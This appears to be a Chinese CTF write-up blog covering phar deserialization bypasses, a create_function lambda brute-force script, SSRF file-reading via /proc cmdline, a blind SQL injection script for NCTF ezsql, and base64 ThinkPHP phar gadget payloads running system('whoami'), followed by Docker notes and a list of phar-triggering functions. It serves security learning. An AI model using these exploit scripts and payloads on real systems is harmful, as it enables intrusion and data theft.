然后改后缀为jpg就行了,但其实有个问题,这里不是对tar文件进行操作判断是否有那个字符了吗?

exec("tar -tf ".$_FILES["file"]["tmp_name"],$r_array);
if(in_array(".phar/.metadata",$r_array)){
return false;
}
return true;

让我们测试一下img

-t或–list 列出备份文件的内容,而这个tar的文件内容有两部分,他只检测了第一部分–,所以就轻而易举的绕过了
然后后面在本地看一下文件名是什么,利用exists页面的$ip=$_SERVER[‘REMOTE_ADDR’];这个输出内容加上那个字符串经过md5解码一下就可以,然后完整目录是

/upload/xxxxx.gif

然后在exists页面使用phar协议进行访问

phar://./upload/xxx.gif

但是同时要传参,这里需要去执行那个create_function

$find_this = create_function("", 'die(`cat /flag`);');

网上有文章

代码很简洁粗暴,开头就创建了一个全局函数,可以查看flag。

create_function生成的函数名有些特殊,它是NULL字符加上”lambda_”再加个一个数字标识(\x00lambda_数字标识),其中数字标识代表它是当前进程中的第几个匿名函数。create_function的实现步骤如下:

获取参数, 函数体
拼凑一个”function __lambda_func (参数) { 函数体;} “的字符串
eval之
通过__lambda_func在函数表中找到eval后得到的函数体, 找不到就出错
定义一个函数名:”\000_lambda_” . count(anonymous_functions)++
用新的函数名替换__lambda_func

https://www.shawroot.cc/631.html

直接别人脚本跑就好了

import requests

i = 0
while True:
r = requests.get('http://471d0bad-6115-4107-a4ab-33cd2cb83b26.node4.buuoj.cn:81/?func_name=%00lambda_1')
if 'flag' in r.text:
print(r.text)
break
i += 1
print(i)

但是需要注意的是,这里是post请求,所以要改改

import requests

i = 0
data={"func":"%00(这个%00进行url解码以后再发送过去)lambda_1"}
while True:
r = requests.post('http://471d0bad-6115-4107-a4ab-33cd2cb83b26.node4.buuoj.cn:81/?filename=phar://./upload/xxxx.gif',)
if 'flag' in r.text:
print(r.text)
break
i += 1
print(i)

然后就可以拿到flag了

mimic-ssrf

探测到7410是php的端口
8888端口是go的端口
8080是java

感觉是要读文件才能往下做,但是不知道啥能读文件

/proc/[pid]/cmdline 是一个只读文件,包含进程的完整命令行信息。如果该进程已经被交换出内存或者这个进程是 zombie 进程,则这个文件没有任何内容。该文件以空字符 null 而不是换行符作为结束标志。举例如下:

看了一下wp才发现原来还有这个, 当时在爆破目录的时候,就在想cmdline是什么,但是一时没想起来,哎,还是太年轻了,感觉得找个时间再好好总结一下,接下来就是去爆破读取一下,看看对应语言的源码

/web/java/jdk1.8.0_202/bin/java -Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=20211 -jar /web/java/Hello_web.jar


/web/python/app.py


/web/golang/ssrf_go

2021NCTF

ezsql

格式化字符串漏洞,之前hack.lu做过payload是

password=1%1$') or 1=1#&name=a
NCTF{3v3ryth1ng_not_fantast1c_:)}

然后接下来就是常规的盲注了

password=1%1$') or substr(database(),1,1)>0#&name=a
payload=f"1%1$') or substr(({change_pa}),{i},1)>{mid}#"
表名:
NcTF,users
import requests
url="http://129.211.173.64:3080/login.php"
s=requests.session()

def sql_in(change_pa):
database = ""
for i in range(1,10000):
low=0
high=264
mid = (low + high) // 2
while (low < high):
payload=f"1%1$') or ascii(substr(({change_pa}),{i},1))>{mid}#"
data={"password":payload,"name":"a"}
r=s.post(url=url,data=data).text
#print(data)
#print(r)
if "NCTF{3v3ryth1" in r:
low=mid+1
else:
high=mid
mid=(low+high)//2
if (mid == 0 or mid == 264):
break
database += chr(mid)
print(database)

if __name__=="__main__":
#data="database()"
#data="select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()"
#data = 'select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x4e635446'
data='select/**/`fl@g`/**/from/**/NcTF limit 1,1'
#data="version()"
sql_in(data)

2021安洵杯

扫描

发现是是fastjson-1.2.47, JDK 1.3.1


easytp

PD9waHAgX19IQUxUX0NPTVBJTEVSKCk7ID8+DQoZAQAAAQAAABEAAAABAAAAAADkAAAATzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czoyMToiAHRoaW5rXE1vZGVsAHdpdGhBdHRyIjthOjE6e3M6MToiYSI7czo2OiJzeXN0ZW0iO31zOjE3OiIAdGhpbmtcTW9kZWwAZGF0YSI7YToxOntzOjE6ImEiO3M6Njoid2hvYW1pIjt9fX19BwAAAGV4cC50eHQEAAAAE6ChYQQAAAAMfn/YtgEAAAAAAAB0ZXN0R8Un+dr04897mUVob2bLZdKmlRkCAAAAR0JNQg==
PD9waHAgX19IQUxUX0NPTVBJTEVSKCk7ID8
DQoZAQAAAQAAABEAAAABAAAAAADkAAAATzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czoyMToiAHRoaW5rXE1vZGVsAHdpdGhBdHRyIjthOjE6e3M6MToiYSI7czo2OiJzeXN0ZW0iO31zOjE3OiIAdGhpbmtcTW9kZWwAZGF0YSI7YToxOntzOjE6ImEiO3M6Njoid2hvYW1pIjt9fX19BwAAAGV4cC50eHQEAAAAbLKhYQQAAAAMfn/YtgEAAAAAAAB0ZXN0X3PmDDRS4FHBGm6qipcoKSJ8JRECAAAAR0JNQg==


PD9waHAgX19IQUxUX0NPTVBJTEVSKCk7ID8DQoZAQAAAQAAABEAAAABAAAAAADkAAAATzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czoyMToiAHRoaW5rXE1vZGVsAHdpdGhBdHRyIjthOjE6e3M6MToiYSI7czo2OiJzeXN0ZW0iO31zOjE3OiIAdGhpbmtcTW9kZWwAZGF0YSI7YToxOntzOjE6ImEiO3M6Njoid2hvYW1pIjt9fX19BwAAAGV4cC50eHQEAAAAx6 hYQQAAAAMfn/YtgEAAAAAAAB0ZXN0FLfX2uY rTDjIvKfzYKxEr1rbNoCAAAAR0JNQg==

PD9waHAgX19IQUxUX0NPTVBJTEVSKCk7ID8+DQoZAQAAAQAAABEAAAABAAAAAADkAAAATzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czoyMToiAHRoaW5rXE1vZGVsAHdpdGhBdHRyIjthOjE6e3M6MToiYSI7czo2OiJzeXN0ZW0iO31zOjE3OiIAdGhpbmtcTW9kZWwAZGF0YSI7YToxOntzOjE6ImEiO3M6Njoid2hvYW1pIjt9fX19BwAAAGV4cC50eHQEAAAAbLKhYQQAAAAMfn/YtgEAAAAAAAB0ZXN0X3PmDDRS4FHBGm6qipcoKSJ8JRECAAAAR0JNQg==

前言

最近都在用docker来复现题目,但是每次都忘记指令,所以来整理一下

docker build -t docker名字 -f docker路径 .
例: docker build -t eaysphp -f ./Dockerfile .

img

运行docker

docker run -itd -p 要映射的端口号(针对服务器而言):docker里面的web服务端口 
docker run -itd -p 8080:80 easyphp /bin/bash(这个有的时候要加)
img

进入docker

docker ps 先看一下要进入的dockerid
docker exec -it docker的id bash
docker exec -it 5axxxx bash
img

一些报错

img
systmctl daemon-reload
service docker restart
service docker status
docker stop docker的id

遇到docker-compose.yaml直接在那个文件所在目录

docker-compose up

phar反序列化

前言

之前写过的关于phar的考点,但是忘记放在哪个博客了,以后命名还是不能以比赛题目命名呀。。。所以重新整理一下

phar触发函数

在这里插入图片描述
  • exif
  • exif_thumbnail
  • exif_imagetype
  • gd
  • imageloadfont
  • imagecreatefrom***
  • hash
  • hash_hmac_file
  • hash_file
  • hash_update_file
  • md5_file
  • sha1_file
  • file / url
  • get_meta_tags
  • get_headers
  • standard
  • getimagesize
  • getimagesizefromstringfinfo_file/finfo_buffer/mime_content_type